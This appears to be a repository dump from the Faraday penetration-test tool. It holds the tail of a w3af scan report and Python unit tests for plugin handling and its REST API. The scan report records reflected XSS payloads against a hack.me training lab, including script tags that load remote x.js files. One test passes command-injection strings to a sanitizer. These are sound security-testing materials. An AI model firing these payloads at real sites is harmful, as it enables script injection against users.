280 </headers>
281 <body content-encoding="text">&lt;!DOCTYPE html&gt;
282 &lt;html&gt;
283 &lt;head&gt;
284 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
285 &lt;title&gt;XSSed&lt;/title&gt;
286 &lt;/head&gt;
287 &lt;body&gt;Here are the results for &lt;SCrIPT&gt;alert(&quot;GlSV&quot;)&lt;/SCrIPT&gt;:
288 &lt;ol&gt;
289 &lt;li&gt;&lt;a href=&quot;account.php?user=neo&quot;&gt;My Account&lt;/a&gt; - account.php (0.5KB)&lt;/a&gt;&lt;/li&gt;
290 &lt;li&gt;&lt;a href=&quot;index.htm&quot;&gt;Home&lt;/a&gt; - index.htm (0.4KB)&lt;/a&gt;&lt;/li&gt;
291 &lt;/ol&gt;
292 &lt;/body&gt;
293 &lt;/html&gt;</body>
294 </httpresponse>
295 </http-transaction>
296 </http-transactions>
297 </information>
298 <information id="[225]" name="Cross site scripting vulnerability" plugin="xss" url="http://s16620-101136-yly.sipontum.hack.me/filteredxss/vulnerable.php">
299 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/filteredxss/vulnerable.php&quot;, using HTTP method GET. The sent data was: &quot;creditcard=&amp;id=%3CScRIPT%3Ea%3D%2FnlkK%2F%0Aalert%28a.source%29%3C%2FSCRiPT%3E&quot;. The modified parameter was &quot;id&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 225.</description>
300 <http-transactions>
301 <http-transaction id="225">
302 <httprequest>
303 <status>GET http://s16620-101136-yly.sipontum.hack.me/filteredxss/vulnerable.php?creditcard=&amp;id=%3CScRIPT%3Ea%3D%2FnlkK%2F%0Aalert%28a.source%29%3C%2FSCRiPT%3E HTTP/1.1</status>
304 <headers>
305 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
306 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
307 <header content="gzip" field="Accept-encoding"/>
308 <header content="*/*" field="Accept"/>
309 <header content="w3af.sourceforge.net" field="User-agent"/>
310 </headers>
311 </httprequest>
312 <httpresponse id="225">
313 <status>HTTP/1.1 200 OK</status>
314 <headers>
315 <header content="Mon, 28 Oct 2013 15:53:00 GMT" field="Date"/>
316 <header content="347" field="Content-Length"/>
317 <header content="Microsoft-IIS/7.5" field="Server"/>
318 <header content="text/html" field="Content-Type"/>
319 <header content="ASP.NET" field="X-Powered-By"/>
320 </headers>
321 <body content-encoding="text">&lt;!DOCTYPE html&gt;
322 &lt;html&gt;
323 &lt;head&gt;
324 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
325 &lt;title&gt;XSSed&lt;/title&gt;
326 &lt;/head&gt;
327 &lt;body&gt;&lt;h1&gt;Please Confirm Your Order&lt;/h1&gt;
328 &lt;div id=&quot;creditcard&quot;&gt;&lt;/div&gt;
329
330 &lt;script type=&quot;text/javascript&quot;&gt;
331 var q = &quot;&lt;ScRIPT&gt;a=/nlkK/
332 alert(a.source)&lt;/SCRiPT&gt;&quot;;
333 document.write(&quot;&lt;!-- &quot; + q + &quot;--&gt;&quot;);
334 &lt;/script&gt;
335 &lt;/body&gt;
336 &lt;/html&gt;</body>
337 </httpresponse>
338 </http-transaction>
339 </http-transactions>
340 </information>
341 <information id="[242]" name="Cross site scripting vulnerability" plugin="xss" url="http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php">
342 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php&quot;, using HTTP method GET. The sent data was: &quot;user=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2F9Mqz%2Fx.js%3E%3C%2FScRIPt%3E&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 242.</description>
343 <http-transactions>
344 <http-transaction id="242">
345 <httprequest>
346 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php?user=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2F9Mqz%2Fx.js%3E%3C%2FScRIPt%3E HTTP/1.1</status>
347 <headers>
348 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
349 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
350 <header content="gzip" field="Accept-encoding"/>
351 <header content="*/*" field="Accept"/>
352 <header content="w3af.sourceforge.net" field="User-agent"/>
353 </headers>
354 </httprequest>
355 <httpresponse id="242">
356 <status>HTTP/1.1 200 OK</status>
357 <headers>
358 <header content="Mon, 28 Oct 2013 15:53:03 GMT" field="Date"/>
359 <header content="588" field="Content-Length"/>
360 <header content="Microsoft-IIS/7.5" field="Server"/>
361 <header content="text/html" field="Content-Type"/>
362 <header content="ASP.NET" field="X-Powered-By"/>
363 </headers>
364 <body content-encoding="text">&lt;!DOCTYPE html&gt;
365 &lt;html&gt;
366 &lt;head&gt;
367 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
368 &lt;title&gt;XSSed&lt;/title&gt;
369 &lt;/head&gt;
370 &lt;body&gt; &lt;a href=&quot;index.htm&quot;&gt;Return Home&lt;/a&gt;
371 &lt;h1&gt;My Account&lt;/h1&gt;
372 &lt;pre&gt;
373 Username: &lt;ScRIPt/XSS SrC=http://9Mqz/x.js&gt;&lt;/ScRIPt&gt;
374 Email: [email protected]
375 Registered: June 21st, 2011&lt;/pre&gt;
376
377 &lt;h2&gt;Change Password&lt;/h2&gt;
378 &lt;pre&gt;
379 &lt;form action=&quot;setaccount.php&quot;&gt;
380 Password: &lt;input type=&quot;password&quot; id=&quot;pass1&quot; name=&quot;pass1&quot; /&gt;&lt;br /&gt;
381 Repeat it:&lt;input type=&quot;password&quot; id=&quot;pass2&quot; name=&quot;pass2&quot; /&gt;&lt;br /&gt;
382 &lt;input type=&quot;submit&quot; /&gt;
383 &lt;/form&gt;
384 &lt;/pre&gt;
385
386
387 &lt;/body&gt;
388 &lt;/html&gt;</body>
389 </httpresponse>
390 </http-transaction>
391 </http-transactions>
392 </information>
393 <information id="[276]" name="Cross site scripting vulnerability" plugin="xss" url="http://s16620-101136-yly.sipontum.hack.me/javascriptxss/vulnerable.php">
394 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/javascriptxss/vulnerable.php&quot;, using HTTP method GET. The sent data was: &quot;q=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2FT3mz%2Fx.js%3E%3C%2FScRIPt%3E&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 276.</description>
395 <http-transactions>
396 <http-transaction id="276">
397 <httprequest>
398 <status>GET http://s16620-101136-yly.sipontum.hack.me/javascriptxss/vulnerable.php?q=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2FT3mz%2Fx.js%3E%3C%2FScRIPt%3E HTTP/1.1</status>
399 <headers>
400 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
401 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
402 <header content="gzip" field="Accept-encoding"/>
403 <header content="*/*" field="Accept"/>
404 <header content="w3af.sourceforge.net" field="User-agent"/>
405 </headers>
406 </httprequest>
407 <httpresponse id="276">
408 <status>HTTP/1.1 200 OK</status>
409 <headers>
410 <header content="Mon, 28 Oct 2013 15:53:08 GMT" field="Date"/>
411 <header content="370" field="Content-Length"/>
412 <header content="Microsoft-IIS/7.5" field="Server"/>
413 <header content="text/html" field="Content-Type"/>
414 <header content="ASP.NET" field="X-Powered-By"/>
415 </headers>
416 <body content-encoding="text">&lt;!DOCTYPE html&gt;
417 &lt;html&gt;
418 &lt;head&gt;
419 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
420 &lt;title&gt;XSSed&lt;/title&gt;
421 &lt;/head&gt;
422 &lt;body&gt;&lt;script type=&quot;text/javascript&quot;&gt;
423 var search_term = &quot; &lt;ScRIPt/XSS SrC=http://T3mz/x.js&gt;&lt;/ScRIPt&gt;&quot;;
424 &lt;/script&gt;
425
426 Sorry, we could not find any results for:
427 &lt;script type=&quot;text/javascript&quot;&gt;document.write(search_term);&lt;/script&gt;
428 &lt;/body&gt;
429 &lt;/html&gt;</body>
430 </httpresponse>
431 </http-transaction>
432 </http-transactions>
433 </information>
434 <information id="[68]" name="Auto-completable form" plugin="" url="http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php">
435 <description>The URL: &quot;http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php&quot; has a &quot;&lt;form&gt;&quot; element with auto-complete enabled. This information was found in the request with id 68.</description>
436 <http-transactions>
437 <http-transaction id="68">
438 <httprequest>
439 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php?user=neo HTTP/1.1</status>
440 <headers>
441 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
442 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
443 <header content="gzip" field="Accept-encoding"/>
444 <header content="*/*" field="Accept"/>
445 <header content="w3af.sourceforge.net" field="User-agent"/>
446 </headers>
447 </httprequest>
448 <httpresponse id="68">
449 <status>HTTP/1.1 200 OK</status>
450 <headers>
451 <header content="Mon, 28 Oct 2013 15:52:36 GMT" field="Date"/>
452 <header content="549" field="Content-Length"/>
453 <header content="Microsoft-IIS/7.5" field="Server"/>
454 <header content="text/html" field="Content-Type"/>
455 <header content="ASP.NET" field="X-Powered-By"/>
456 </headers>
457 <body content-encoding="text">&lt;!DOCTYPE html&gt;
458 &lt;html&gt;
459 &lt;head&gt;
460 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
461 &lt;title&gt;XSSed&lt;/title&gt;
462 &lt;/head&gt;
463 &lt;body&gt; &lt;a href=&quot;index.htm&quot;&gt;Return Home&lt;/a&gt;
464 &lt;h1&gt;My Account&lt;/h1&gt;
465 &lt;pre&gt;
466 Username: neo
467 Email: [email protected]
468 Registered: June 21st, 2011&lt;/pre&gt;
469
470 &lt;h2&gt;Change Password&lt;/h2&gt;
471 &lt;pre&gt;
472 &lt;form action=&quot;setaccount.php&quot;&gt;
473 Password: &lt;input type=&quot;password&quot; id=&quot;pass1&quot; name=&quot;pass1&quot; /&gt;&lt;br /&gt;
474 Repeat it:&lt;input type=&quot;password&quot; id=&quot;pass2&quot; name=&quot;pass2&quot; /&gt;&lt;br /&gt;
475 &lt;input type=&quot;submit&quot; /&gt;
476 &lt;/form&gt;
477 &lt;/pre&gt;
478
479
480 &lt;/body&gt;
481 &lt;/html&gt;</body>
482 </httpresponse>
483 </http-transaction>
484 </http-transactions>
485 </information>
486 <information id="[104, 107, 115]" name="Strange HTTP Reason message - Moved Temporarily" plugin="strangeReason" url="http://s16620-101136-yly.sipontum.hack.me/chainedxss/setaccount.php">
487 <description>The remote Web server sent a strange HTTP reason message: &quot;Moved Temporarily&quot; manual inspection is advised. This information was found in the requests with ids 104, 107 and 115.</description>
488 <http-transactions>
489 <http-transaction id="104">
490 <httprequest>
491 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/setaccount.php HTTP/1.1</status>
492 <headers>
493 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
494 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
495 <header content="gzip" field="Accept-encoding"/>
496 <header content="*/*" field="Accept"/>
497 <header content="w3af.sourceforge.net" field="User-agent"/>
498 </headers>
499 </httprequest>
500 <httpresponse id="104">
501 <status>HTTP/1.1 302 Moved Temporarily</status>
502 <headers>
503 <header content="324" field="Content-Length"/>
504 <header content="ASP.NET" field="X-Powered-By"/>
505 <header content="Microsoft-IIS/7.5" field="Server"/>
506 <header content="index.htm" field="Location"/>
507 <header content="Mon, 28 Oct 2013 15:52:42 GMT" field="Date"/>
508 <header content="text/html; charset=UTF-8" field="Content-Type"/>
509 </headers>
510 <body content-encoding="text">&lt;head&gt;&lt;title&gt;Document Moved&lt;/title&gt;&lt;/head&gt;
511 &lt;body&gt;&lt;h1&gt;Object Moved&lt;/h1&gt;This document may be found &lt;a HREF=&quot;index.htm&quot;&gt;here&lt;/a&gt;&lt;/body&gt;&lt;!DOCTYPE html&gt;
512 &lt;html&gt;
513 &lt;head&gt;
514 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
515 &lt;title&gt;XSSed&lt;/title&gt;
516 &lt;/head&gt;
517 &lt;body&gt; Password Changed, redirecting you home.
518 &lt;/body&gt;
519 &lt;/html&gt;</body>
520 </httpresponse>
521 </http-transaction>
522 <http-transaction id="107">
523 <httprequest>
524 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/setaccount.php?pass1=&amp;pass2= HTTP/1.1</status>
525 <headers>
526 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
527 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
528 <header content="gzip" field="Accept-encoding"/>
529 <header content="*/*" field="Accept"/>
530 <header content="w3af.sourceforge.net" field="User-agent"/>
531 </headers>
532 </httprequest>
533 <httpresponse id="107">
534 <status>HTTP/1.1 302 Moved Temporarily</status>
535 <headers>
536 <header content="324" field="Content-Length"/>
537 <header content="ASP.NET" field="X-Powered-By"/>
538 <header content="Microsoft-IIS/7.5" field="Server"/>
539 <header content="index.htm" field="Location"/>
540 <header content="Mon, 28 Oct 2013 15:52:42 GMT" field="Date"/>
541 <header content="text/html; charset=UTF-8" field="Content-Type"/>
542 </headers>
543 <body content-encoding="text">&lt;head&gt;&lt;title&gt;Document Moved&lt;/title&gt;&lt;/head&gt;
544 &lt;body&gt;&lt;h1&gt;Object Moved&lt;/h1&gt;This document may be found &lt;a HREF=&quot;index.htm&quot;&gt;here&lt;/a&gt;&lt;/body&gt;&lt;!DOCTYPE html&gt;
545 &lt;html&gt;
546 &lt;head&gt;
547 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
548 &lt;title&gt;XSSed&lt;/title&gt;
549 &lt;/head&gt;
550 &lt;body&gt; Password Changed, redirecting you home.
551 &lt;/body&gt;
552 &lt;/html&gt;</body>
553 </httpresponse>
554 </http-transaction>
555 <http-transaction id="115">
556 <httprequest>
557 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/setaccount.php HTTP/1.1</status>
558 <headers>
559 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
560 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
561 <header content="gzip" field="Accept-encoding"/>
562 <header content="*/*" field="Accept"/>
563 <header content="w3af.sourceforge.net" field="User-agent"/>
564 </headers>
565 </httprequest>
566 <httpresponse id="115">
567 <status>HTTP/1.1 302 Moved Temporarily</status>
568 <headers>
569 <header content="324" field="Content-Length"/>
570 <header content="ASP.NET" field="X-Powered-By"/>
571 <header content="Microsoft-IIS/7.5" field="Server"/>
572 <header content="index.htm" field="Location"/>
573 <header content="Mon, 28 Oct 2013 15:52:42 GMT" field="Date"/>
574 <header content="text/html; charset=UTF-8" field="Content-Type"/>
575 </headers>
576 <body content-encoding="text">&lt;head&gt;&lt;title&gt;Document Moved&lt;/title&gt;&lt;/head&gt;
577 &lt;body&gt;&lt;h1&gt;Object Moved&lt;/h1&gt;This document may be found &lt;a HREF=&quot;index.htm&quot;&gt;here&lt;/a&gt;&lt;/body&gt;&lt;!DOCTYPE html&gt;
578 &lt;html&gt;
579 &lt;head&gt;
580 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
581 &lt;title&gt;XSSed&lt;/title&gt;
582 &lt;/head&gt;
583 &lt;body&gt; Password Changed, redirecting you home.
584 &lt;/body&gt;
585 &lt;/html&gt;</body>
586 </httpresponse>
587 </http-transaction>
588 </http-transactions>
589 </information>
590 <error caller="exception_handler">An exception was found while running grep.privateIP on &quot;http://domain/ | Method: GET&quot;. The exception was: &quot;Complex classes like &lt;type 'NoneType'&gt; need to inherit from disk_item to be stored.&quot; at timeout_function.py:836. The scan will continue but some vulnerabilities might not be identified.</error>
591 <error caller="exception_handler">An exception was found while running grep.privateIP on &quot;http://domain/ | Method: GET&quot;. The exception was: &quot;Complex classes like &lt;type 'NoneType'&gt; need to inherit from disk_item to be stored.&quot; at timeout_function.py:836. The scan will continue but some vulnerabilities might not be identified.</error>
592 <error caller="exception_handler">An exception was found while running grep.privateIP on &quot;http://domain/xssed.js | Method: GET&quot;. The exception was: &quot;Complex classes like &lt;type 'NoneType'&gt; need to inherit from disk_item to be stored.&quot; at timeout_function.py:836. The scan will continue but some vulnerabilities might not be identified.</error>
593 </w3afrun>
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import unittest
10 import sys
11 import os
12 sys.path.append(os.path.abspath(os.getcwd()))
13 import model.api
14 from plugins.core import PluginController
15 from managers.all import PluginManager
16 import re
17 from mockito import mock, when
18 from model.controller import ModelController
19 from config.configuration import getInstanceConfiguration
20 CONF = getInstanceConfiguration()
21 from model.workspace import WorkspaceOnCouch, WorkspaceManager
22 from auth.manager import SecurityManager
23
24
25 class PluginControllerTestSuite(unittest.TestCase):
26
27 def setUp(self):
28 self.plugin_repo_path = os.path.join(os.getcwd(), "plugins", "repo")
29 self.plugin_manager = PluginManager(self.plugin_repo_path)
30
31 controller = ModelController(mock(SecurityManager))
32
33 wm = WorkspaceManager(controller, mock(PluginController))
34 work = wm.createWorkspace('default', workspaceClass=WorkspaceOnCouch)
35 work.setModelController(controller)
36 controller.setWorkspace(work)
37 model.api.setUpAPIs(controller)
38
39
40 class WorkspaceStub():
41 def __init__(self):
42 self.id = "test_space"
43 self.controller = self.plugin_manager.createController(WorkspaceStub())
44
45 def tearDown(self):
46 pass
47
48 def test_instantiation(self):
49 """
50 Generic test to verify that the object exists and can be
51 instantiated without problems.
52 """
53 controller = PluginController("test", {}, mock())
54 self.assertTrue(controller is not None)
55
56 def test_sanitation_checker(self):
57 """
58 The object of this test is to verify that the plugin controller
59 is able to detect and avoid malicious commands sent by rogue plugins.
60 The mechanism is not intend to be perfect but at least should give some
61 amount of protection.
62 """
63 controller = PluginController("test", {}, mock())
64
65 original_command = "nmap -v -iR 10000 -PN -p 80"
66 modified_command = "nmap -v -iR 10000 -PN -p 80|"
67
68 self.assertTrue(controller._is_command_malformed(original_command, modified_command),
69 'Modified command is malformed')
70
71 original_command = "nmap -v -iR 10000 -PN -p 80"
72 modified_command = "nmap -v -i#R 10000 -PN -p 80"
73 self.assertTrue(controller._is_command_malformed(original_command, modified_command),
74 'Modified command is malformed')
75
76 original_command = "nmap -v -iR 10000 -PN -p 80"
77 modified_command = "nmap -v -iR $10000 -PN -p 80"
78 self.assertTrue(controller._is_command_malformed(original_command, modified_command),
79 'Modified command is malformed')
80
81 original_command = "nmap -v -iR 10000 -PN -p 80"
82 modified_command = "nmap -v -iR 10000 -PN -p 80"
83
84 self.assertTrue( not controller._is_command_malformed(original_command, modified_command),
85 "Original Command same as modified command but is malformed")
86
87 def test_input_processing(self):
88 """
89 Check that the controller is able to give the active plugin an input and
90 verify that what the plugin gives back to it is a safe command string.
91
92 TODO: Fix the docstring. It sucks.
93 TODO: Use a generic plugin.
94 """
95
96 prompt = "fdeguzman@testserver:$"
97
98 command_string = "nmap localhost"
99 modified_string = self.controller.processCommandInput(prompt, "", "",
100 command_string, False)
101 arg_search = re.match(r"^.*(-oX\s*[^\s]+).*$", modified_string)
102 self.assertTrue(arg_search is not None)
103
104 command_string = "nmap -oX benito_camelas.xml localhost"
105 modified_string = self.controller.processCommandInput(prompt, "", "", command_string, False)
106 arg_search = re.match(r"^.*(-oX benito_camelas\.xml).*$", modified_string)
107 self.assertTrue(arg_search is None)
108
109 def test_process_command_keep_information(self):
110
111 prompt = "fdeguzman@testserver:$"
112
113 command_string = "nmap -oX benito_camelas.xml localhost"
114 modified_string = self.controller.processCommandInput(prompt, "", "", command_string, False)
115
116 self.assertIsNotNone(self.controller.last_command_information, "Command Information not saved")
117
118
119
120 if __name__ == '__main__':
121 unittest.main()
122
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 import unittest
8 import os
9 import requests
10 import json
11 import sys
12 import base64
13 from mockito import mock, when
14
15 sys.path.append('.')
16
17 from managers.all import PluginManager
18 import apis.rest.api as api
19 import model.api
20 import model.controller
21 from model.workspace import Workspace
22 from model.container import ModelObjectContainer
23 from managers.all import PersistenceManager
24 import test_cases.common as test_utils
25
26
27 class TestPluginControllerApi(unittest.TestCase):
28
29 @classmethod
30 def setUpClass(cls):
31 cls.model_controller = model.controller.ModelController(mock())
32 plugin_repo_path = os.path.join(os.getcwd(), "plugins", "repo")
33 plugin_manager = PluginManager(plugin_repo_path)
34 api.startAPIs(plugin_manager, cls.model_controller)
35
36 @classmethod
37 def tearDownClass(cls):
38 api.stopAPIs()
39
40 def setUp(self):
41 self.workspace = mock(Workspace)
42 self.workspace.name = "default"
43 self.workspace._dmanager = mock(PersistenceManager())
44 when(self.workspace._dmanager).saveDocument().thenReturn(True)
45 when(self.workspace).getContainee().thenReturn(ModelObjectContainer())
46 self.model_controller.setWorkspace(self.workspace)
47
48 model.api.setUpAPIs(self.model_controller)
49 self.url_input = "http://127.0.0.1:9977/cmd/input"
50 self.url_output = "http://127.0.0.1:9977/cmd/output"
51 self.url_active_plugins = "http://127.0.0.1:9977/cmd/active-plugins"
52 self.headers = {'Content-type': 'application/json', 'Accept': 'application/json'}
53
54 self.url_model_edit_vulns = "http://127.0.0.1:9977/model/edit/vulns"
55 self.url_model_del_vulns = "http://127.0.0.1:9977/model/del/vulns"
56
57 def tearDown(self):
58 requests.delete(self.url_active_plugins)
59
60 def test_cmd_input_ls(self):
61 cmd = "ls"
62 data = {"cmd": cmd}
63 response = requests.post(self.url_input,
64 data=json.dumps(data),
65 headers=self.headers)
66
67 self.assertEquals(response.status_code, 204, "Status Code should be 204: No Content, but received: %d" % response.status_code)
68
69
70 def test_cmd_input_ping(self):
71 cmd = "ping 127.0.0.1"
72 data = {"cmd": cmd}
73 response = requests.post(self.url_input,
74 data=json.dumps(data),
75 headers=self.headers)
76 json_response = response.json()
77
78 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK, but received: %d" % response.status_code)
79 self.assertIn("cmd", json_response.keys(), "Json response should have a cmd key")
80 self.assertIn("custom_output_file", json_response.keys(), "Json response should have a custom_output_file key")
81 self.assertIsNone(json_response.get("cmd"), "cmd should be None")
82 self.assertIsNone(json_response.get("custom_output_file"), "custom_output_file should be None")
83
84 def test_cmd_input_nmap(self):
85 cmd = "nmap 127.0.0.1"
86 data = {"cmd": cmd}
87 response = requests.post(self.url_input,
88 data=json.dumps(data),
89 headers=self.headers)
90 json_response = response.json()
91
92 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK, but received: %d" % response.status_code)
93 self.assertIn("cmd", json_response.keys(), "Json response should have a cmd key")
94 self.assertIn("custom_output_file", json_response.keys(), "Json response should have a custom_output_file key")
95 self.assertIsNotNone(json_response.get("cmd"), "cmd shouldn't be None")
96 self.assertIsNotNone(json_response.get("custom_output_file"), "custom_output_file shouldn't be None")
97
98 def test_cmd_input_get_instead_post(self):
99 cmd = "ls"
100 data = {"cmd": cmd}
101 response = requests.get(self.url_input,
102 data=json.dumps(data),
103 headers=self.headers)
104
105 self.assertEquals(response.status_code, 405, "Status code should be 405, but received: %d" % response.status_code)
106
107 def test_cmd_output_nmap(self):
108 # send input to register the active plugin
109 cmd = "nmap 127.0.0.1"
110 data = {"cmd": cmd}
111 response = requests.post(self.url_input,
112 data=json.dumps(data),
113 headers=self.headers)
114
115
116 #send output, using a fake nmap xml ouput
117 output_file = open(os.path.join(os.getcwd(), 'test_cases/data/nmap_plugin_with_api.xml'))
118 output = base64.b64encode(output_file.read())
119 data = {"cmd": cmd, "output": output}
120 response = requests.post(self.url_output,
121 data=json.dumps(data),
122 headers=self.headers)
123 self.model_controller.processAllPendingActions()
124
125 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK, but received: %d" % response.status_code)
126 self.assertEquals(len(self.model_controller.getAllHosts()), 1, "Controller should have 1 host")
127
128 def test_cmd_output_plugin_not_active(self):
129 #send output, using a fake nmap xml ouput
130 cmd = "nmap 127.0.0.1"
131 output_file = open(os.path.join(os.getcwd(), 'test_cases/data/nmap_plugin_with_api.xml'))
132 output = base64.b64encode(output_file.read())
133 data = {"cmd": cmd, "output": output}
134 response = requests.post(self.url_output,
135 data=json.dumps(data),
136 headers=self.headers)
137
138 self.assertEquals(response.status_code, 400, "Status Code should be 400: Bad Request, but received: %d" % response.status_code)
139
140 def test_model_edit_host_vuln(self):
141 host = test_utils.create_host(self)
142 vuln = test_utils.create_host_vuln(self, host, 'vuln', 'desc', 'high')
143
144 data = {"vulnid": vuln.getID(), "hostid": host.getID(), 'name': 'coco',
145 'desc': 'newdesc', 'severity': 'low'}
146
147 response = requests.post(self.url_model_edit_vulns,
148 data=json.dumps(data),
149 headers=self.headers)
150
151 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK")
152
153 addedhost = self.model_controller.getHost(host.getID())
154 addedvuln = addedhost.getVuln(vuln.getID())
155
156 self.assertEquals(addedvuln.name, 'coco', 'Name not updated')
157 self.assertEquals(addedvuln.desc, 'newdesc', 'Desc not updated')
158 self.assertEquals(addedvuln.severity, 'low', 'Severity not updated')
159
160
161 def test_model_edit_int_vuln(self):
162 host = test_utils.create_host(self)
163 inter = test_utils.create_interface(self, host)
164 vuln = test_utils.create_int_vuln(self, host, inter, 'vuln', 'desc', 'high')
165
166 data = {"vulnid": vuln.getID(), "hostid": host.getID(), 'name': 'coco',
167 'desc': 'newdesc', 'severity': 'low'}
168
169 response = requests.post(self.url_model_edit_vulns,
170 data=json.dumps(data),
171 headers=self.headers)
172
173 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK")
174
175 addedhost = self.model_controller.getHost(host.getID())
176 addedInterface = addedhost.getInterface(inter.getID())
177 addedvuln = addedInterface.getVuln(vuln.getID())
178
179 self.assertEquals(addedvuln.name, 'coco', 'Name not updated')
180 self.assertEquals(addedvuln.desc, 'newdesc', 'Desc not updated')
181 self.assertEquals(addedvuln.severity, 'low', 'Severity not updated')
182
183
184 def test_model_edit_serv_vuln(self):
185 host = test_utils.create_host(self)
186 inter = test_utils.create_interface(self, host)
187 serv = test_utils.create_service(self, host, inter)
188 vuln = test_utils.create_serv_vuln(self, host, serv, 'vuln', 'desc', 'high')
189
190 data = {"vulnid": vuln.getID(), "hostid": host.getID(), 'name': 'coco',
191 'desc': 'newdesc', 'severity': 'low'}
192
193 response = requests.post(self.url_model_edit_vulns,
194 data=json.dumps(data),
195 headers=self.headers)
196
197 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK")
198
199 addedhost = self.model_controller.getHost(host.getID())
200 addedInterface = addedhost.getInterface(inter.getID())
201 addedService = addedInterface.getService(serv.getID())
202 addedvuln = addedService.getVuln(vuln.getID())
203
204 self.assertEquals(addedvuln.name, 'coco', 'Name not updated')
205 self.assertEquals(addedvuln.desc, 'newdesc', 'Desc not updated')
206 self.assertEquals(addedvuln.severity, 'low', 'Severity not updated')
207
208
209 def test_model_remove_host_vuln(self):
210 host = test_utils.create_host(self)
211 vuln = test_utils.create_host_vuln(self, host, 'vuln', 'desc', 'high')
212
213 data = {"vulnid": vuln.getID(), "hostid": host.getID(), 'name': 'coco',
214 'desc': 'newdesc', 'severity': 'low'}
215
216 response = requests.delete(self.url_model_del_vulns,
217 data=json.dumps(data),
218 headers=self.headers)
219
220 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK")
221
222 addedhost = self.model_controller.getHost(host.getID())
223 addedvuln = addedhost.getVulns()
224
225 self.assertEquals(len(addedvuln), 0, 'Vuln not removed from Host')
226
227 def test_model_del_int_vuln(self):
228 host = test_utils.create_host(self)
229 inter = test_utils.create_interface(self, host)
230 vuln = test_utils.create_int_vuln(self, host, inter, 'vuln', 'desc', 'high')
231
232 data = {"vulnid": vuln.getID(), "hostid": host.getID()}
233
234 response = requests.delete(self.url_model_del_vulns,
235 data=json.dumps(data),
236 headers=self.headers)
237
238 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK")
239
240 addedhost = self.model_controller.getHost(host.getID())
241 addedInterface = addedhost.getInterface(inter.getID())
242 self.assertEquals(len(addedInterface.getVulns()), 0, 'Interface vulns not deleted')
243
244 def test_model_remove_serv_vuln(self):
245 host = test_utils.create_host(self)
246 inter = test_utils.create_interface(self, host)
247 serv = test_utils.create_service(self, host, inter)
248 vuln = test_utils.create_serv_vuln(self, host, serv, 'vuln', 'desc', 'high')
249
250 data = {"vulnid": vuln.getID(), "hostid": host.getID()}
251
252 response = requests.delete(self.url_model_del_vulns,
253 data=json.dumps(data),
254 headers=self.headers)
255
256 self.assertEquals(response.status_code, 200, "Status Code should be 200: OK")
257
258 addedhost = self.model_controller.getHost(host.getID())
259 addedInterface = addedhost.getInterface(inter.getID())
260 addedService = addedInterface.getService(serv.getID())
261
262 self.assertEquals(len(addedService.getVulns()), 0, 'Service vulns not removed')
263
264
265 if __name__ == '__main__':
266 unittest.main()
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
